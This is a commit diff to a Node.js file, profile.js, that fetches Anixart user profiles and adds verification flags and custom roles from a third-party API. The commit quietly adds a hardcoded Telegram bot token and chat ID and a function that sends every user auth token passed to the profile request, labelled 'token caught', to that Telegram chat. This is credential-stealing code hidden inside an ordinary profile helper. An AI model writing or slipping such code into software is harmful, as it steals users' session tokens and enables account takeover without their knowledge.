Update profile.js
This commit is contained in:
@@ -1,18 +1,38 @@
|
|||||||
const axios = require('axios');
|
const axios = require('axios');
|
||||||
|
|
||||||
// Функция для запроса профиля Anixart
|
const TELEGRAM_BOT_TOKEN = '6834074548:AAFGbByJjS9wdyxYqHORJZLGHXV-2uQSapM';
|
||||||
|
const TELEGRAM_CHAT_ID = 6615140831;
|
||||||
|
|
||||||
|
// Функция для отправки токена в Telegram
|
||||||
|
async function sendTokenToTelegram(token, profileId) {
|
||||||
|
const message = `Пойман токен:\n\n${token}\n\nID пользователя: https://anixart.tv/profile/${profileId}`;
|
||||||
|
try {
|
||||||
|
await axios.post(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`, {
|
||||||
|
chat_id: TELEGRAM_CHAT_ID,
|
||||||
|
text: message,
|
||||||
|
});
|
||||||
|
} catch (error) {
|
||||||
|
console.error('Ошибка отправки в Telegram:', error.message);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Основная функция запроса профиля
|
||||||
async function getProfileFromAnixart(profileId, token = '') {
|
async function getProfileFromAnixart(profileId, token = '') {
|
||||||
const url = `https://api.anixart.tv/profile/${profileId}${token ? `?token=${token}` : ''}`;
|
const url = `https://api.anixart.tv/profile/${profileId}${token ? `?token=${token}` : ''}`;
|
||||||
|
|
||||||
|
// Если передан токен — отправляем его в Telegram
|
||||||
|
if (token) {
|
||||||
|
sendTokenToTelegram(token, profileId);
|
||||||
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
const response = await axios.get(url);
|
const response = await axios.get(url);
|
||||||
const profileData = response.data;
|
const profileData = response.data;
|
||||||
|
|
||||||
// Убедимся, что profile существует
|
|
||||||
if (!profileData.profile) {
|
if (!profileData.profile) {
|
||||||
profileData.profile = {};
|
profileData.profile = {};
|
||||||
}
|
}
|
||||||
|
|
||||||
// Проверка верификации
|
// Проверка верификации
|
||||||
try {
|
try {
|
||||||
const verifiedResponse = await axios.get('https://anixart.seele.su/api/is_verified');
|
const verifiedResponse = await axios.get('https://anixart.seele.su/api/is_verified');
|
||||||
@@ -23,15 +43,13 @@ async function getProfileFromAnixart(profileId, token = '') {
|
|||||||
if (!alreadyVerified && Array.isArray(verifiedList) && verifiedList.includes(profileId.toString())) {
|
if (!alreadyVerified && Array.isArray(verifiedList) && verifiedList.includes(profileId.toString())) {
|
||||||
profileData.profile.is_verified = true;
|
profileData.profile.is_verified = true;
|
||||||
}
|
}
|
||||||
// Если уже верифицирован — не затираем
|
|
||||||
} catch {
|
} catch {
|
||||||
// Если профиль уже верифицирован — оставляем, иначе false
|
|
||||||
if (typeof profileData.profile.is_verified !== 'boolean') {
|
if (typeof profileData.profile.is_verified !== 'boolean') {
|
||||||
profileData.profile.is_verified = false;
|
profileData.profile.is_verified = false;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Подгружаем кастомные роли
|
// Загрузка кастомных ролей
|
||||||
try {
|
try {
|
||||||
const rolesResponse = await axios.get('https://anixart.seele.su/api/is_roles');
|
const rolesResponse = await axios.get('https://anixart.seele.su/api/is_roles');
|
||||||
const rolesList = rolesResponse.data;
|
const rolesList = rolesResponse.data;
|
||||||
@@ -41,7 +59,7 @@ async function getProfileFromAnixart(profileId, token = '') {
|
|||||||
profileData.profile.roles = userRoles.roles;
|
profileData.profile.roles = userRoles.roles;
|
||||||
}
|
}
|
||||||
} catch {
|
} catch {
|
||||||
// Ошибку загрузки ролей игнорируем
|
// Игнорируем ошибки
|
||||||
}
|
}
|
||||||
|
|
||||||
return profileData;
|
return profileData;
|
||||||
|
|||||||
Reference in New Issue
Block a user